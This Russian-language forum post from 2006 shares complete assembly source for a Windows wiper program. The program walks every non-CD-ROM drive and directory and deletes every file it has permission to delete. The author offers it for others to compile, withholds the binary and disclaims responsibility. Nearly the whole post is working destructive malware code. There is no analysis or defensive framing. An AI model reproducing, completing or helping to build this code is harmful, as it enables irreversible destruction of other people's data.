Показать сообщение отдельно

  #13  
Старый 05.02.2006, 06:08
drmist
Green member - Level 3
Регистрация: 08.10.2005
Сообщений: 396
С нами: 10836326

Репутация: 239
Exclamation

Писал как-то - друг попросил.
Вот программка - не совсем формат. Рекурсивный поиск по всем дискам (кроме CD-ромов) и директориям с удалением всего, на что прав хватает. Сам ни разу в жизни не запускал, но очевидцы говорят, что работает на 5.
Код:
.386
.model flat, stdcall
option casemap: none

includelib kernel32.lib

include kernel32.inc
include windows.inc

.data
	szStrDrive	db "A:\", 0
	szStrAll	db "*.*", 0
	szStrSlash	db "\", 0
	szStrIgnore1	db ".", 0
	szStrIgnore2	db "..", 0

.data?
	CurrDirectory	db MAX_PATH+1 dup (?)
	CurrFile	db MAX_PATH+1 dup (?)
	SearchString	db MAX_PATH+1 dup (?)
	FindData	WIN32_FIND_DATA <?>
	hFile		dd ?
	ddTemp		dd ?
.code
; ebx - маска логических дисков
; esi - длинна CurrDirectory со слешем на конце
; edi - offset CurrDirectory
FindAndDeleteAllFiles proc hFind: DWORD

@next_file:
	invoke FindNextFile, hFind, offset FindData
	or eax, eax
	jz @exit

@search_loop:
	mov eax, FindData.dwFileAttributes
	and eax, FILE_ATTRIBUTE_DIRECTORY
	jz @is_file
	; Directory
	invoke lstrcmp, offset FindData.cFileName, offset szStrIgnore1
	or eax, eax
	jz @next_file

	invoke lstrcmp, offset FindData.cFileName, offset szStrIgnore2
	or eax, eax
	jz @next_file
	
	; True Directory ;)
	push esi

	invoke lstrcat, edi, offset FindData.cFileName
	invoke lstrcat, edi, offset szStrSlash

	invoke lstrlen, edi
	xchg eax, esi

	invoke lstrcpy, offset SearchString, edi
	invoke lstrcat, offset SearchString, offset szStrAll

	invoke FindFirstFile, offset SearchString, offset FindData
	
	invoke FindAndDeleteAllFiles, eax
	
	pop esi
	mov byte ptr[esi+edi], 0

	jmp @next_file
@is_file:

	invoke lstrcpy, offset CurrFile, offset CurrDirectory
	invoke lstrcat, offset CurrFile, offset FindData.cFileName
	
	invoke DeleteFile, offset CurrFile
	jmp @next_file

@exit:
	invoke FindClose, hFind
	ret
FindAndDeleteAllFiles endp


start:
		xor esi, esi
		mov edi, offset CurrDirectory
		
		invoke GetLogicalDrives
		xchg eax, ebx
_check_drive:
		mov al, bl
		and al, 1
		jz _next_drive
		
		invoke GetDriveType, offset szStrDrive
		cmp eax, DRIVE_CDROM
		jz _next_drive

		invoke lstrcpy, edi, offset szStrDrive
		invoke lstrcpy, offset SearchString, offset szStrDrive
		invoke lstrcat, offset SearchString, offset szStrAll

		invoke FindFirstFile, offset SearchString, offset SearchString
		mov si, 3
		invoke FindAndDeleteAllFiles, eax

_next_drive:
		inc byte ptr[szStrDrive]
		shr ebx, 1
		or ebx, ebx
		jnz _check_drive

		invoke ExitProcess, 0
end start
Чистяк. Бинарник не просите - не выложу. Кто не умеет компилировать - учится.
Все на свой страх и риск, отказываюсь нести какую-либо ответственность за использование этого исходника.
__________________
Никому нельзя верить...

Последний раз редактировалось drmist; 05.02.2006 в 06:11..
 
Ответить с цитированием